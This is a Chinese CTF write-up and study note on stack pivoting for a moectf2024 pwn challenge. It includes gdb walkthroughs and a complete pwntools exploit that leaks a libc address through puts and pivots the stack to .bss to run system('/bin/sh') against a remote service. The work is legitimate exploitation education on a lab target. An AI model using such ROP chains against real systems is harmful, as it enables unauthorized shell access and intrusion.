栈迁移学习笔记(moectf2024/ 栈的奇妙之旅)
最后编辑时间:2025-02-21 21:05:16 星期五
栈迁移学习笔记
栈迁移对二进制要求了解较深,前置技能相对也比较多
前置技能:
- python + pwntool 使用
- Linux ELF文件pwn知识
- gdb动态调试
一 、查看题目


看一眼保护和架构

进入ida查看


题目分析:题目还是比较干净的,没有什么干扰,缓冲区128,可以写入0x90,明显的栈溢出漏洞,没有后门函数。
二、尝试直接常规思路
常规思路下,我们做题方法一般是:
payload = flat([
cyclic(128), #抵达溢出点
file.search(asm("pop rdi; ret;")).__next__(), #传递puts@got
file.got['puts'],
file.plt['puts'], #调用puts,泄露基址
file.sym['vuln'] #返回到漏洞函数再次触发
])
但是这个payload使用len()计算长度后发现长达160 (注:0x90=144),也就是说,出去用于缓冲区的,真正供我们使用的只有16字节
三、那为什么我们不换一个位置写入呢?
既然栈上不够位置写入,那写到其他可以写入的地方不就好了。想想看,内存空间里,有什么是可以用户写入的地方吗?无非四个地方:栈区、堆区、.bss、.data,题目有NX保护阻止我们对堆栈动手脚,那我们就优先考虑.bss、.data。
在之前做题的时候,我们总是习惯性的覆盖掉了下图的s,这个时候就要它来发挥作用了。

我们要用的两条指令为leave; ret;,具体可参考这个:https://www.cnblogs.com/ZIKH26/articles/15817337.html
为了防止忘记了这里三个寄存器是干嘛的,先写在这里:
rsp:指示栈顶rbp:指示栈底rip:下一条指令地址
简而言之:
leave;作用为:
mov rsp rbp;将ebp的值赋值给seppop rbp;将栈顶的值弹入ebp
ret;的作用为:
pop rip将栈顶的弹入eip


请注意:
- 因为
rsp时刻标示着栈顶,所以进行pop后要进行+8(64位)或+4(32位) - 本教程所有的图都是使用64位,从高地址向低地址,和其他教程配合看时候注意时候相同
四、让我们来尝试栈迁移
既然要迁移到.bss或.data,那么我们就要知道对应的地址在哪里,打开ida:


优先选择.bss段,因为.data距离got表太近了,不太好操作,那我们选择0x404020 + 200作为.bss地址,开始写代码:
from pwn import *
context(arch="AMD64", os="linux", log_level="debug")
io = process("./pwn")
# io = remote("192.168.112.1", 60481)
file = ELF("./pwn")
libc = ELF("./libc.so.6")
bss = 0x404000 + 0x200
payload = flat([
b"a"*0x80,
bss,
file.sym['vuln']
])
print("payload",len(payload))
gdb.attach(io)
io.sendafter(b"me?", payload)
sleep(1000)
io.interactive()
payload长度为144,正好为0x90
加入gdb调试代码,在虚拟机中调试

此时还在read函数内部,使用ni单步调试运行(输入一次后就可以一直回车重复),直到这一步:

read即将返回,注意观察rdp和rsp

继续单步进入,观察触发leave和ret行为,我们已经进行了第一次leave

rdb已经位于.bss段上

继续运行,观察vule返回后再次触发了本身,我们一路单步到达这里

注意看这一步,它再次恢复了rbp到栈区上,这不是我们想要的行为,我们要调用read写数据到.bss上,我们要在返回函数跳过这一步。

使用ida分析,是这两条导致恢复了rbp到栈区上,我们要跳过这一段,那我们分析一下,跳到哪一步好:

有两部分有用,一部分是read_leave_ret、另外一个是leave_ret,写入代码试试看
#上方省略
bss = 0x404000 + 0x200
read_leave_ret = 0x4011E5
leave_ret = 0x4011FB
payload = flat([
b"a"*0x80,
bss,
read_leave_ret
])
gdb.attach(io)
io.sendafter(b"me?", payload)
sleep(1000)
io.interactive()
带入调试器看看

成功跳过,接下来我们要知道read的数据放在哪里了,写下代码:
#上方省略
bss = 0x404000 + 0x200
read_leave_ret = 0x4011E5
leave_ret = 0x4011FB
payload = flat([
b"a"*0x80,
bss,
read_leave_ret
])
io.sendafter(b"me?", payload)
gdb.attach(io)
io.send(b"A"*80)
sleep(1000)
io.interactive()

先单步运行到read即将ret的地方,我们猜想,输入的数据可能存放的位置:
1.栈上:即RSP附近
2..bss上:即RBP附近
gdb有个查看内存地址的指令:
x/10i 0xffff1111
x/10x 0xffff1111
10是你要查看的个数,i、x是以指令、十六进制查看,我们尝试查看正负50条:
建议使用ctrl+shift+c复制、ctrl+shift+v粘贴
x/100x 0x404150
x/100x 0x7FFF81F33C0B


根据简单的对照ASCLL码可知写在bss段了

为什么写到了bss段?
回到第一次leave;ret;后的地方

注意这条指令!

运行到call read

注意高光部分的代码和寄存器

0x4011e5 <vuln+27>:lea rax,[rbp-0x80]:将 [rbp - 0x80] 的内存地址加载到 rax 寄存器中,
还记得rbp的地址是啥吗?对的,.bss上!
回到正题
画个图来看看发生了什么:(黄色底色的是栈顶)

之后ret

此时有一个有趣的现象,rbp比rsp地址低,和正常情况反过来了,但是此时pop仍然是rsp向高地址移动
五、布局第二次payload
我们现在已经可以写入到0x404180,并且可以写入0x90字节的数据了,那我们尝试布局数据:

我们发现数据并不是那么好布置的,我们可以想:刚刚我们只是运行了read,后面一定会运行leave; ret;(请注意,此时我们已经运行过一次leave;ret;了,这里是第二次),
我们先尝试虚空布局:
第一步,没有什么问题

第二步:因为要进行pop rbp;,rsp一定是移动到高地址,0x404200放置的是rbp地址

我们先随便假设一个rbp地址,然后执行ret,发现0x404200放置的是返回函数地址

第三步:我们要思考要调用什么函数,很显然这里写入数据的大小并没有发生变化,仍然为16字节,并没有达到栈迁移的目标,现在我们有两个选择:read_leave_ret或leave_ret,稍加思考发现,如果再次调用read,需要再次布局payload,但是写入的位置需要调整(我们刚刚开始的rbp是0x40200,但是写入的是0x40180),不适合。那就试试看leave; ret;(此时为第三次leave;ret;了)
第一步,没有什么问题

第二步:因为要进行pop rbp;,rsp一定是移动到高地址,0x404180放置的是rbp地址

第三步:准备返回

此时你有没有发现,rbp和rsp的位置关系恢复了,也就是说我们已经成功构造出一个栈了!并且这个栈的内容我们在第二次read可以完全控制!,此时位于.bss段NX保护也管不到了,没错,和你想的一样,我们可以布置这些代码

注意!此时的pop需要具体问题具体分析
现在进行倒推:

我们发现rbp位置似乎还没确定,因为等会我们还会进行一次栈迁移,为了方便,就设置在.bss上,但是注意不要和原来的冲突了,最终的布局如图:

写成代码:
bss = 0x404000 + 0x200
read_leave_ret = 0x4011E5
leave_ret = file.search(asm("leave; ret;")).__next__()
puts_got = file.got['puts']
puts_plt = file.plt['puts']
pop_rdi = file.search(asm("pop rdi; ret;")).__next__()
payload = flat([
b"a"*0x80,
bss,
read_leave_ret
])
io.sendafter(b"me?", payload)
payload = flat([
bss + 0x600,
pop_rdi, puts_got,
puts_plt,
read_leave_ret
]).ljust(0x80, b'\x00') + p64(bss - 0x80) + p64(leave_ret) #使用\x00补位
io.send(payload)
io.interactive()

接受到泄露函数,转化为偏移,固定操作代码
io.recvuntil(b'\n')
libc.address = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['puts']
六、又一次栈迁移
不是,为什么又要迁移,直接在返回函数上接着搞不好吗?看图:

进行pop rdi后,栈顶位置已经是在函数上了,需要重新布置栈了,没办法,老老实实上调试器重复
现在回顾代码:
from pwn import *
context(arch="AMD64", os="linux", log_level="debug")
io = process("./pwn")
# io = remote("192.168.112.1", 60481)
file = ELF("./pwn")
libc = ELF("./libc.so.6")
bss = 0x404000 + 0x200
read_leave_ret = 0x4011E5
# leave_ret = 0x4011FB
leave_ret = file.search(asm("leave; ret;")).__next__()
puts_got = file.got['puts']
puts_plt = file.plt['puts']
pop_rdi = file.search(asm("pop rdi; ret;")).__next__()
payload = flat([
b"a"*0x80,
bss,
read_leave_ret
])
io.sendafter(b"me?", payload)
payload = flat([
bss + 0x600,
pop_rdi, puts_got,
puts_plt,
read_leave_ret
]).ljust(0x80, b'\x00') + p64(bss - 0x80) + p64(leave_ret)
libc.address = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['puts']
io.send(payload)
gdb.attach(io)
sleep(1000)
io.interactive()
gdb定位写入数据位置

用软件画出来

又是找位置时间,这里不再赘述,类似第一次栈迁移

- mov rsp rbp;

- pop rbp;

- pop rid;

- mov rsp rbp;

- pop rbp;

- pop rid;

- 总结倒推

写成代码:
payload = flat([
bss,
pop_rdi,libc.search("/bin/sh\x00").__next__(),
pop_rdi+1,#加上ret平衡栈
libc.sym['system']
]).ljust(0x80,b'\x00')+p64(bss+0x600-0x80)+p64(leave_ret)
io.send(payload)
为什么要使用ret平衡栈?
注意调用system时的栈对齐问题。如果直接返回至libc.sym['system'],程序运行时触发 SIGSEGV(段错误)。gdb调试程序在 system 函数中这个指令处崩溃:
movaps xmmword ptr [rsp + 0x50], xmm0
其实是 movaps 指令要求目标地址(此处为 rsp + 0x50)16 字节对齐(能被 16 整除)导致的。通过插入ret从而使 rsp+8实现16 字节对齐。
七、总结
from pwn import *
context(arch="AMD64",os="linux",log_level="debug")
# io = process("./pwn")
io = remote("192.168.112.1",60481)
file = ELF("./pwn")
libc = ELF("./libc.so.6")
bss = 0x404000 + 0x200
leave_ret = file.search(asm("leave; ret;")).__next__()
puts_got = file.got['puts']
puts_plt = file.plt['puts']
pop_rdi = file.search(asm("pop rdi; ret;")).__next__()
# 返回到read、leave、ret
read_leave_ret = 0x4011E5
payload = flat([
b'a'*0x80,
bss,
read_leave_ret
])
io.sendafter(b"me?", payload)
payload = flat([
bss + 0x600,
pop_rdi, puts_got,
puts_plt,
read_leave_ret
]).ljust(0x80, b'\x00') + p64(bss - 0x80) + p64(leave_ret)
# gdb.attach(io)
io.send(payload)
io.recvuntil(b'\n')
libc.address = u64(io.recv(6).ljust(8,b"\x00"))-libc.sym['puts']
payload = flat([
bss,
pop_rdi,libc.search("/bin/sh\x00").__next__(),
pop_rdi+1,#ret
libc.sym['system']
]).ljust(0x80,b'\x00')+p64(bss+0x600-0x80)+p64(leave_ret)
io.send(payload)
io.interactive()
ls /
cat /flag

技术总结:主打一个累+难以理解,要很强大的反退能力,变来变去容易晕

浙公网安备 33010602011771号